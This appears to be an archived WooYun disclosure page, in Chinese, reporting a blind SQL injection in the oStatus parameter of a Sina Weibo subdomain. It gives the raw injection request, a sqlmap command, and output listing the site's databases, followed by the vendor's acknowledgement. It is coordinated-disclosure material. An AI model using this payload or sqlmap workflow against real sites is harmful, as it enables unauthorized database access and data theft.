当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0122288

漏洞标题:新浪微博某子域SQL注射

相关厂商:新浪微博

漏洞作者: Jannock

提交时间:2015-06-23 15:23

修复时间:2015-08-08 15:40

公开时间:2015-08-08 15:40

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-06-23: 细节已通知厂商并且等待厂商处理中
2015-06-24: 厂商已经确认,细节仅向厂商公开
2015-07-04: 细节向核心白帽子及相关领域专家公开
2015-07-14: 细节向普通白帽子公开
2015-07-24: 细节向实习白帽子公开
2015-08-08: 细节向公众公开

简要描述:

新浪微博某子域SQL注射

详细说明:

http://weirenwu.weibo.com

GET /taskv2/?c=cpcs.cpcsMySquare&sTime=&eTime=2015-06-18+00:00&oStatus=5%20and%201=if((1=1 * ),1,(select%201%20from%20INFORMATION_SCHEMA.TABLES)) HTTP/1.1
Host: weirenwu.weibo.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-HK;q=0.6,en-US;q=0.4,en;q=0.2
Accept-Encoding: gzip, deflate
Cookie: cookie
Connection: keep-alive


oStatus 存在SQL注入

漏洞证明:

python sqlmap.py -r 1.txt --dbms=mysql --technique=B --threads 5 --dbs
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 15:16:26
[15:16:26] [INFO] parsing HTTP request from '1.txt'
custom injection marking character ('*') found in option '-u'. Do you want to pr
ocess it? [Y/n/q] y
[15:16:30] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: URI
Parameter: #1*
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: http://weirenwu.weibo.com:80/taskv2/?c=cpcs.cpcsMySquare&sTime=&eTi
me=2015-06-18+00:00&oStatus=5 and 1=if((1=1 ) AND 1688=1688 AND (9988=9988 ),1,(
select 1 from INFORMATION_SCHEMA.TABLES))
---
[15:16:30] [INFO] testing MySQL
[15:16:30] [INFO] confirming MySQL
[15:16:30] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL >= 5.0.0
[15:16:30] [INFO] fetching database names
[15:16:30] [INFO] fetching number of databases
[15:16:30] [INFO] retrieved: 3
[15:16:32] [INFO] retrieving the length of query output
[15:16:32] [INFO] retrieved: 18
[15:16:54] [INFO] retrieved: information_schema
[15:16:54] [INFO] retrieving the length of query output
[15:16:54] [INFO] retrieved: 4
[15:17:00] [INFO] retrieved: test
[15:17:00] [INFO] retrieving the length of query output
[15:17:00] [INFO] retrieved: 8
[15:17:10] [INFO] retrieved: weirenwu
available databases [3]:
[*] information_schema
[*] test
[*] weirenwu


1.png

修复方案:

过滤

版权声明:转载请注明来源 Jannock@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2015-06-24 15:38

厂商回复:

感谢关注新浪安全,已经通知合作方进行漏洞修复。

最新状态:

暂无


漏洞评价:

评论

  1. 2015-06-23 15:53 | 子墨 ( 普通白帽子 | Rank:194 漏洞数:22 | 天地不仁,以万物为刍狗;圣人不仁,以百姓为...)

    沙发!漏洞,对于一哥而言,只是想不想发的问题

  2. 2015-06-23 15:55 | rasca1 ( 实习白帽子 | Rank:53 漏洞数:16 | 菜鸟一只)

    永远的一哥!

  3. 2015-06-23 16:12 | 管管侠 ( 核心白帽子 | Rank:1368 漏洞数:108 | 休息几日,让你们先装会!!!)

    一哥你好,我是管管侠!

  4. 2015-06-23 16:33 | D_in ( 普通白帽子 | Rank:413 漏洞数:62 | 到我嘴里来)

    漏洞,对于一哥而言,只是想不想发的问题

  5. 2015-06-23 18:16 | DeadSea ( 实习白帽子 | Rank:86 漏洞数:28 | 静心)

    永远的一哥!

  6. 2015-06-24 16:39 | Mr.leo ( 普通白帽子 | Rank:1314 漏洞数:176 | 说点神马呢!!)

    永远的一哥!